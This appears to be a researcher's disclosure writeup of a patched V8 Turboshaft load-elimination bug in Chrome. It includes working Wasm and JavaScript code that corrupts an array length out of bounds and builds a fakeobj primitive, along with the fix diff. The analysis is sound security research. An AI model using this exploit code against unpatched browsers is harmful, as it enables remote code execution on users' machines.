In April, we reported a severe vulnerability in V8, the JavaScript and WebAssembly engine used by Chrome. This vulnerability enabled remote code execution in Chrome’s renderer process. This writeup will cover the technical details of the vulnerability. The vulnerability was originally discovered and exploited by Nebula Security, winning a $55,000 bug bounty from Chrome VRP.
Background
Before discussing the bug, it is useful to cover the pieces of V8 and compiler internals that interact here: V8’s WebAssembly compilation pipeline, Wasm GC arrays, Phi nodes, and Turboshaft’s Wasm load-elimination pass.
WebAssembly compilation in V8
V8 uses two main compilers for WebAssembly. Liftoff is the baseline compiler. It compiles a function quickly so that execution can begin with little startup delay, but it performs relatively few optimizations. Hot Wasm functions can later be compiled by TurboFan, V8’s optimizing compiler, which spends more time producing faster machine code.
Turboshaft is the control-flow-graph-based optimizing IR and compiler backend framework used in the optimizing
pipeline. At the version relevant to this bug, Wasm operations such as array.get,
array.set, array.len, struct.get, and struct.set were represented as Turboshaft
operations before being lowered to machine-level loads, stores, and checks.
Unlike a linear instruction stream, a Turboshaft graph is divided into basic blocks connected
by control-flow edges. Operations refer to their inputs through OpIndex values. Compiler
passes can analyze the input graph, record that one operation is equivalent to another, and
then build a new graph in which the redundant operation is replaced.
For example, suppose the graph contains two loads of the same field and there is no store to that field between them:
v1 = StructGet(object, field0)v2 = StructGet(object, field0)The second load can be replaced with v1:
v1 = StructGet(object, field0)v2 = v1This is safe only while the compiler’s model of memory is correct. If a store might have
changed field0, the second load has to remain in the graph.
Wasm GC arrays and structs
WebAssembly GC adds typed, garbage-collected structs and arrays. A module can declare an array
of mutable i32 values and a struct containing a mutable reference to that array:
(type $arr (array (mut i32)))(type $holder (struct (field (mut (ref $arr)))))The instructions used in this writeup have direct meanings:
array.new_default $arrallocates an array and initializes each element to the default value of its type.array.lenreturns the array’s length.array.getandarray.setread and write an element.struct.getandstruct.setread and write a struct field.
Wasm requires an out-of-bounds array access to trap. When V8 builds the Turboshaft graph for an
array.set, it first emits a bounds check that is conceptually equivalent to:
length = ArrayLength(array)if (!(index < length)) { trap ArrayOutOfBounds}ArraySet(array, index, value)The ArrayLength used by the check is an ordinary graph operation, so it can be optimized. If
the compiler proves that the array was allocated with length 8, it can replace the load with
the constant 8. A later optimization may then fold a check such as 3 < 8 to true.
The crucial safety requirement is that the array whose length was used for the check must be the same array that is passed to the element access. If the check uses one array’s length but the store uses another array, the access is no longer protected by the runtime object’s actual bounds.
In V8’s object layout, a WasmArray stores a 32-bit length in its header, followed by its
inline elements. Its allocation size depends on that length and the element size. A
WasmStruct similarly stores its fields inline after its object header. These details become
useful when turning the compiler bug into a more powerful primitive.
Loops and analysis revisits
Loops make this analysis more complicated. A loop header normally has at least two predecessors:
- A forward edge entering the loop for the first time.
- A backedge returning from the loop body.
On the first visit, the compiler has not analyzed the backedge yet. It begins with the state from the forward edge, walks the loop body, and records the state produced at the backedge. It can then merge the two states and revisit the loop if the backedge changed something the first analysis assumed.
Suppose a struct field points to big before the loop, but the loop body stores small into
the field:
Before loop: holder.field0 = bigLoop body: holder.field0 = smallDuring the first analysis, a load of holder.field0 can resolve to big. After the backedge is
considered, the loop header can no longer assume that the field is always big: on a later
iteration it may contain small. The second analysis must therefore withdraw any optimization
that depended on the earlier value.
This is a fixed-point computation. The analysis is finished only when revisiting the loop no longer changes the tracked state. Correctness requires both adding newly discovered replacements and clearing replacements that have stopped being valid.
Wasm load elimination
The WasmLoadEliminationAnalyzer tracks memory facts and proposed operation replacements in
side tables. For a struct.get, it asks whether the same field already has a known value. For
an array allocation, it records the allocation’s length as the known value of a synthetic
array-length field.
The relevant allocation handler is:
void WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray( OpIndex op_idx, const WasmAllocateArrayOp& alloc) { non_aliasing_objects_.Set(op_idx, true); static constexpr int offset = wle::kArrayLengthFieldIndex; memory_.InsertLoadLike(op_idx, offset, alloc.length());}kArrayLengthFieldIndex lets the pass model an array’s length like a load from a special field.
If an ArrayLength later refers to the same resolved base, ProcessArrayLength can reuse the
recorded value:
void WasmLoadEliminationAnalyzer::ProcessArrayLength( OpIndex op_idx, const ArrayLengthOp& length) { static constexpr int offset = wle::kArrayLengthFieldIndex; OpIndex existing = memory_.FindLoadLike(length.array(), offset); if (existing.valid()) { replacements_[op_idx] = existing; return; } replacements_[op_idx] = OpIndex::Invalid(); memory_.InsertLoadLike(length.array(), offset, op_idx);}The call to FindLoadLike resolves known base replacements. Therefore, if a Phi is known to be
equivalent to big, an ArrayLength whose input is that Phi can find the length recorded when
big was allocated.
Recall: What does load elimination change?
The element access still uses the runtime array selected by the Phi. The optimization
replaces the ArrayLength used by its bounds check. If that replacement is stale, the check
and the access can refer to different arrays.
The Bug
The bug was in WasmLoadEliminationAnalyzer::ProcessPhi:
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) { InvalidateAllNonAliasingInputs(phi);
base::Vector<const OpIndex> inputs = phi.inputs(); // This copies some of the functionality of {RequiredOptimizationReducer}: // Phis whose inputs are all the same value can be replaced by that value. // We need to have this logic here because interleaving it with other cases // of load elimination can unlock further optimizations: simplifying Phis // can allow elimination of more loads, which can then allow simplification // of even more Phis. if (inputs.size() > 0) { bool same_inputs = true; OpIndex first = memory_.ResolveBase(inputs.first()); for (const OpIndex& input : inputs.SubVectorFrom(1)) { if (memory_.ResolveBase(input) != first) { same_inputs = false; break; } } if (same_inputs) { replacements_[op_idx] = first; } }}The function first resolves each Phi input through the pass’s existing replacement table. If
every input resolves to the same OpIndex, it records the first input as the Phi’s
replacement:
if (same_inputs) { replacements_[op_idx] = first;}However, there was no corresponding else branch. If a previous visit found equal inputs but
a later loop revisit found different inputs, the old entry in replacements_ remained
unchanged.
This behavior was inconsistent with other handlers in the same analyzer. Both
ProcessStructGet and ProcessArrayLength explicitly invalidate a previous replacement when
they can no longer eliminate the current operation:
replacements_[op_idx] = OpIndex::Invalid();For Phi nodes, the replacement was sticky. Once a Phi had been recorded as equivalent to an input, a later analysis could fail to prove that equivalence without withdrawing it.
Building the stale replacement
The following pseudo-Wasm contains all the control flow needed to trigger the bug:
(type $arr (array (mut i32)))(type $holder (struct (field (mut (ref $arr)))))
(func (local $holder (ref $holder)) (local $big (ref $arr)) (local $small (ref $arr)) (local $i i32)
i32.const 8 array.new_default $arr local.set $big
i32.const 1 array.new_default $arr local.set $small
local.get $big struct.new $holder local.set $holder
i32.const 2 local.set $i
loop local.get $i i32.const 2 i32.eq if (result (ref $arr)) local.get $big else local.get $holder struct.get $holder 0 end
i32.const 3 i32.const 0x40 array.set $arr
local.get $holder local.get $small struct.set $holder 0
local.get $i i32.const 1 i32.sub local.tee $i br_if 0 end)There are two arrays: big has length 8, while small has length 1. The mutable field
holder.field0 initially contains big. Inside the loop, an if produces either big or the
result of loading holder.field0. That merged array becomes the input to an array.set at
index 3. At the end of the body, holder.field0 is changed to small before the loop takes its
backedge.
The first analysis pass
Before analyzing the backedge, the memory table knows:
holder.field0 = biglength(big) = 8length(small) = 1The StructGet(holder, field0) in the second branch can therefore be eliminated to big. The
merge Phi has these inputs after resolving bases:
Phi(big, ResolveBase(StructGet(holder, field0)))Phi(big, big)ProcessPhi records:
replacements_[phi] = bigThe bounds check for array.set contains ArrayLength(phi). Since ResolveBase(phi) is now
big, ProcessArrayLength finds the length inserted when big was allocated and records the
constant 8 as the length operation’s replacement.
Later in the loop body, StructSet(holder, field0, small) changes the tracked field value and
produces a different state for the backedge. That difference causes the loop to be revisited.
The loop revisit
When the forward-edge and backedge states are merged, the analyzer can no longer say that
holder.field0 always contains big. On the revisit, ProcessStructGet does not find an
existing value for the field, so it correctly clears its previous replacement.
The Phi now resolves as:
Phi(big, StructGet(holder, field0))Its two inputs are no longer identical. same_inputs becomes false, but the vulnerable
ProcessPhi simply reaches the end of the function. The earlier entry remains:
replacements_[phi] = big // staleWhen the bounds check’s ArrayLength(phi) is processed again, ResolveBase(phi) still follows
that stale entry to big. The compiler therefore continues to use 8 as the length in the
check.
At runtime, the behavior across the two loop iterations is different:
Iteration 1: Phi selects big, then holder.field0 becomes smallIteration 2: Phi loads small, but the bounds check still uses length 8Index 3 is in bounds for big, so the optimized check succeeds. But on the second iteration
the actual store operates on small, whose length is only 1. V8 performs the element store
beyond the end of the runtime array instead of trapping.
The important distinction is that the pass does not replace the runtime array selected by the
Phi with big. It incorrectly replaces the ArrayLength used by the bounds check. This leaves
a small runtime array protected by a large array’s length.
Exploitation
Corrupting a victim array length
We first set up 3 arrays:
big, with length 8, provides the stale length used by the compiler.small, with length 1, receives the out-of-bounds store.victim, also with length 1, is allocated immediately aftersmall.
The core trigger function is:
const arr = builder.addArray(kWasmI32, { final: true });const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);
const bigLen = 8;const smallLen = 1;const victimInit = 0x12345678;const expandedVictimLen = 0x40;
const gVictim = builder.addGlobal(wasmRefNullType(arr), true);const gHolder = builder.addGlobal(wasmRefNullType(holder), true);
builder.addFunction('expand_victim_length', makeSig([], [])) .addLocals(wasmRefType(holder), 1) .addLocals(wasmRefType(arr), 3) .addLocals(kWasmI32, 1) .addBody([ kExprI32Const, bigLen, kGCPrefix, kExprArrayNewDefault, arr, kExprLocalSet, 1,
kExprI32Const, smallLen, kGCPrefix, kExprArrayNewDefault, arr, kExprLocalSet, 2,
kExprI32Const, smallLen, kGCPrefix, kExprArrayNewDefault, arr, kExprLocalSet, 3,
kExprLocalGet, 3, kExprI32Const, 0, ...wasmI32Const(victimInit), kGCPrefix, kExprArraySet, arr,
kExprLocalGet, 1, kGCPrefix, kExprStructNew, holder, kExprLocalSet, 0,
kExprLocalGet, 3, kExprGlobalSet, gVictim.index, kExprLocalGet, 0, kExprGlobalSet, gHolder.index,
kExprI32Const, 2, kExprLocalSet, 4,
kExprLoop, kWasmVoid, kExprLocalGet, 4, kExprI32Const, 2, kExprI32Eq, kExprIf, kWasmRef, arr, kExprLocalGet, 1, kExprElse, kExprLocalGet, 0, kGCPrefix, kExprStructGet, holder, 0, kExprEnd, kExprI32Const, 3, kExprI32Const, expandedVictimLen, kGCPrefix, kExprArraySet, arr,
kExprLocalGet, 0, kExprLocalGet, 2, kGCPrefix, kExprStructSet, holder, 0,
kExprLocalGet, 4, kExprI32Const, 1, kExprI32Sub, kExprLocalTee, 4, kExprBrIf, 0, kExprEnd, ]) .exportFunc();On the first runtime iteration, the if selects big, so writing index 3 is legitimate. The
subsequent struct.set changes the holder’s field to small. On the second iteration, the if
loads small from the holder. The stale length replacement lets the same index-3 store proceed
even though small.length is 1.
In the x64 pointer-compression layout used by the proof of concept, a one-element i32 Wasm
array occupies four 4-byte slots: the map, the inherited properties_or_hash field, the length,
and element zero. In the validation run, the consecutive allocations place victim
immediately after small, so small[3] overlaps the length field of victim:
small: [ map ][ properties ][ length = 1 ][ element 0 ]victim: [ map ][ properties ][ length = 1 ][ element 0 ] ^ small[3]The out-of-bounds store writes 0x40 into that field. The physical allocation still contains
space for one element, but subsequent bounds checks now observe a forged victim length of 64.
The module exports helpers that access the victim through its global reference:
builder.addFunction('victim_read', kSig_i_i) .addBody([ kExprGlobalGet, gVictim.index, kExprLocalGet, 0, kGCPrefix, kExprArrayGet, arr, ]) .exportFunc();
builder.addFunction('victim_write', kSig_v_ii) .addBody([ kExprGlobalGet, gVictim.index, kExprLocalGet, 0, kExprLocalGet, 1, kGCPrefix, kExprArraySet, arr, ]) .exportFunc();After expand_victim_length returns, these helpers trust the corrupted length. Indices from 1
through 63 pass their ordinary Wasm bounds checks even though they access memory beyond the
original victim allocation.
From the corrupted length to fakeobj
The validation run similarly places the holder struct immediately after victim. In this
layout, victim[3] overlaps holder.field0, which contains a compressed reference to a Wasm
array:
victim: [ map ][ properties ][ length = 0x40 ][ element 0 ]holder: [ map ][ properties ][ field0 ] ^ victim[3]Because the victim’s forged length is 64, index 3 is considered valid. Writing an
attacker-chosen 32-bit value at this index replaces the holder’s array reference. The exported
getter then converts that field to an externref and returns it to JavaScript:
builder.addFunction('get_holder', kSig_r_v) .addBody([ kExprGlobalGet, gHolder.index, kGCPrefix, kExprStructGet, holder, 0, kGCPrefix, kExprExternConvertAny, ]) .exportFunc();The primitive itself is only a few lines:
wasm.expand_victim_length();
function fakeobj(addr) { addr = Number(addr); wasm.victim_write(3, addr); return wasm.get_holder();}victim_write places addr into the reference field, and get_holder returns the resulting
reference as a JavaScript value. With an appropriately encoded address for this V8
configuration, attacker-controlled pointer bits are therefore interpreted as an object,
giving the initial fakeobj primitive.
Appendix
Timeline
- 2026-04-23: We reported the bug to Google.
- 2026-04-23: Google acknowledged the report and started investigating.
- 2026-04-23: Google identified the root cause and finished the fix.
- 2026-05-05: The fix was released in Chrome 148.0.7778.96.
- 2026-08-27: We published this blog post.
Mitigation
The fix clears the recorded Phi replacement when its resolved inputs are no longer identical.
diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.hindex e15a7d6cd93..e1b415f5d87 100644--- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h+++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h@@ -987,6 +987,8 @@ void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) { } if (same_inputs) { replacements_[op_idx] = first;+ } else {+ replacements_[op_idx] = OpIndex::Invalid(); } } }For users, please update to the latest version of Chrome.
Affected versions
The bug was introduced in Chrome 121 in the nondefault feature
--turboshaft-wasm-load-elimination, which was made default in Chrome 132, and the bug is fixed
in Chrome 148. Any Chrome version between 132 and 148 is affected.
Acknowledgements
We would like to thank the V8 team for their quick response and thorough investigation of this issue.
Disclosure policy
For all bugs found during our research, we follow our standard 90+30 days disclosure policy as described on our About page.